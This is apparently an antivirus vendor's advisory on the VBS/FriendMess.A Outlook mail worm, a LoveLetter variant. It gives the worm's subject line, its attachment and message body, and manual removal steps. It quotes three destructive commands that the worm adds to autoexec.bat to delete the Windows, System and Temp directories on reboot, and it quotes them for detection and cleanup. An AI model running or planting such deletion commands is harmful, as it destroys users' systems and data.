VBS/FriendMess.A is a new worm spreading through Microsoft Outlook using the same replication code as the various VBS/LoveLetter variants. It is missing logic to spread through Internet Relay Chat (IRC). VBS/FriendMess.A (aka VBS/Friend)

Subject Line: FRIEND MESSAGE

Attachment: FRIEND_MESSAGE.TXT.vbs

HTML File: None

Dropped Files: None

Download files: None

Modified Files: c:\autoexec.bat.

Code to delete the content of the Windows and the System directory on the next reboot will be added to the Autoexec.bat file. The following statements are added:

if exist C:\WINDOWS\SYSTEM\*.* del C:\WINDOWS\SYSTEM\*.* /Q /F

if exist C:\WINDOWS\*.* del C:\WINDOWS\*.* /Q /F

if exist C:\WINDOWS\TEMP\*.* del C:\WINDOWS\TEMP\*.* /Q /F

MessageBody: If you receive this message remember forever: A precious friend in all the world like only you! So think that! For more information on the original VBS/LoveLetter.A worm and the known variants of the VBS/LoveLetter worm family, please check: http://www.ca.com/virusinfo/virusalert.htm#love_letter and http://www.ca.com/virusinfo/virusalert.htm#love_letter_variants Before the system is rebooted, the C:\AutoExec.bat file must be checked manually. If the three statements listed above are present, they must be deleted manually.